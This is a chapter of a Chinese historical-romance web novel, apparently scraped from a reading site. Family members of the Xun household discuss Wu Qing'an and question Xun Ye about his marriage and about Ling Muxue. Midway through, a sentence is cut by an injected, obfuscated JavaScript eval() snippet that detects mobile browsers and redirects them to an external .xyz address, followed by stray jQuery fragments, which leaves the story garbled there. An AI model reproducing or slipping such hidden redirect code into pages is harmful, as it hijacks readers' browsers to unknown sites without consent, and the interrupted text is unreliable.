那位藏在暗处的“管理员”，就算想故技重施，消抹自己在他人脑中的记忆，也很难像在北疆那样轻易渗透到荀府的核心圈子，直接改变这些核心人物对她的认知。


    今日她在荀山海和李氏面前展现的知礼、用心、沉稳一面，以及荀家人亲眼所见自己并非传闻那般，她维护的印象就如同投入深潭的石子，虽小，却真实存在，难以被轻易抹除。


    只要她在荀府谨言慎行，持续经营，一点点扭转形象，这些积累起来的好感度，就如同坚固的堡垒，总归会成为一道重要屏障。


    武晴安唇角微扬，带着一丝运筹帷幄的笃定：这笔投资，稳赚不赔。


    竹影婆娑，随风轻摇。


    一抹青色的身影如同鬼魅，悄无声息地自林间闪现，片刻后又隐没于摇曳的翠影深处，了无痕迹。


    花厅内，李氏正端坐于绣架前，指尖银针翻飞，专注于一方素帕。那抹青影再次无声无息地出现在阶下，垂首侍立。


    “夫人。”来人正是护卫展青，他抱拳行礼，声音低沉，将方才在清风苑附近所见所闻，一字不落地禀报给了李氏。


    坐在一旁悠然品茶的荀明曜，听着展青的禀报，眉头微微蹙起。


    待展青言毕退下，他放下手中的青瓷茶盏，道：“母亲，您派展青跟踪嫂夫人，此事怎未与孩儿知会一声？”


    李氏拉线的动作微微一顿，并未抬头，只淡淡问道：“怎么，你的人，为娘的使唤不得？”


    “您明知孩儿并非此意。”荀明曜面色严肃，声音也沉了几分，“嫂夫人初入府门，尚是客居，您便遣人暗中跟随监视……此举若传出去，旁人如何看待我们荀家？若被兄长知晓，他又会如何作想？”


    “你兄长？”李氏终于抬眼，“你兄长如何与这武晴安成的婚，你不知缘由？他本就不喜欢这个武晴安，我也不过想摸摸她的底，天野即便知道了，也只会明白我的苦心，不会多想的。”


    荀明曜却并不认同李氏的话：“我今日接兄长时，他特意叮嘱我照顾好嫂夫人，我看兄长对嫂夫人也并非毫无情意。更何况，今日接触下来，嫂夫人待人温和有礼，处事诚恳用心，倒不似传言中的那般……”


    “这也是我好奇的地方，”李氏借用武晴安的话道，“既然她也说了‘日久见人心’，那便且看看吧。”


    李氏语气中，少了几分锐利，多了几分审视与观望之意。


    -


    -


    宫城巍峨，夜色渐深。


    天子留荀野商议北疆防务，直至宫门即将下钥，方才放他出宫。并叮嘱荀野，需亲自将凌暮雪护送回户部尚书府。


    车马抵达尚书府气派的朱漆大门前时，夜色已浓。


    凌暮雪在丫鬟桃花的搀扶下步下马车。


    荀野亦翻身下马，走近几步，声音压得极低，仅容二人听闻：“京中流言虽已澄清，然圣心难测，耳目无处不在。为防万一，若有紧要消息，我会让林崇暗中与你联络。”


    凌暮雪微微颔首，眼神澄澈：“暮雪明白。”


    随即，她提高音量，对着荀野的方向盈盈一福，声音在寂静的街道上格外清晰：“多谢侯爷一路护送，劳烦侯爷了。”


    姿态端庄，语气疏离有礼，将“避嫌”二字演绎得恰到好处。


    荀野略一拱手：“凌姑娘客气，分内之事。”


    不再多言，荀野翻身上马，带着亲卫，马蹄踏碎深夜的寂静，向荀太傅府的方向而去。


    待荀野风尘仆仆赶回荀府时，天色早已暗了下来。令他意外的是，府门大开，灯火通明。


    荀山海、李氏、荀明曜竟都未歇息，仍在正厅等候。


    “叔父，婶母，二弟，夜深了，怎还未安歇？”荀野大氅裹着寒风，快步走入厅中。


    荀山海抚须笑道：“你婶婶多年未见你，记挂已久，非要等你回来，一家人说说话。”


    “还说我，你不也等到现在。”李氏调侃了荀山海一句，快步上前一把握住荀野的手，左右仔细打量着他，亲昵的说，“一路辛苦，快坐下喝口热茶暖暖身子。”


    荀明曜已经递上一杯热茶，打趣道：“兄长此行入宫面圣，耽搁至此时，他们二老皆放心不下，连累我也不得歇息。”


    一家人热闹的闲聊了几句，李氏又着人送上宵夜，一耽误便是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369585|176684||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小半个时辰的时间。


    荀山海见荀野眉宇间虽有疲惫，但眼神清明，显然还有事要谈，便道：“时辰已晚，天野随我到书房，还有些琐事与你商议。夫人，明曜，你们早些歇息吧。”


    李氏和荀明曜会意，起身告退。


    书房内，烛火跳跃。


    荀山海并未立即谈及所谓“琐事”，而是看着荀野：“看你神色匆匆，可是急着回房见自己的夫人？”


    荀野被说中心事，面上掠过一丝不易察觉的赧色，掩饰般拿起一旁的书籍翻了翻：“叔父说笑了。只是……她初来京城，又有些娇气，我担心她换了地方，睡不安稳罢了。”


    荀山海目光如炬，并未被这托词糊弄过去。


    “天野，这里没有外人。”他沉吟片刻，决定开门见山，“你给叔父交个底，你与你的那位夫人，还有那位凌姑娘……你们几人之间到底是何情况？是当真如外界所传……还是如你书信所言，你对凌姑娘并无半分私情？”


    荀野放下书籍，指尖无意识地摩挲卷翘的书边，眉头微蹙：“叔父，此事说来话长，其中牵扯甚多，非三言两语能道尽。”


    他顿了顿，似乎担心叔父对武晴安已有成见，又补充道：“至于晴安……她自小长于北疆，见识难免浅薄些，性子也娇惯。若日后在府中有何失礼之处，还望叔父婶母看在我的面上，多多包涵体恤。”


    荀山海闻言，眼中却闪过一丝笑意：“哦？见识浅薄？性子娇惯？”


    他捋了捋胡须，慢悠悠道：“今日她可是规规矩矩地来拜见了我和你婶母，礼数周全，应对得体，全无半分骄纵之态。还特意备下了极为合宜的礼物，心思之巧，连你婶母都颇为意外。”


    他看向荀野，带着探究：“这些，莫非是你事先提点安排的？”


    武晴安主动拜见？


    还送了合宜的礼物？


    荀野眼中瞬间盛满了惊诧，他猛然想起离府前一日，她确实在库房里待了整整一天，他当时只道她是娇气，要挑拣些精细物件路上用。


    他此刻才明白，武晴安在库房里的那番“折腾”，竟是在费心为叔父一家挑选礼物。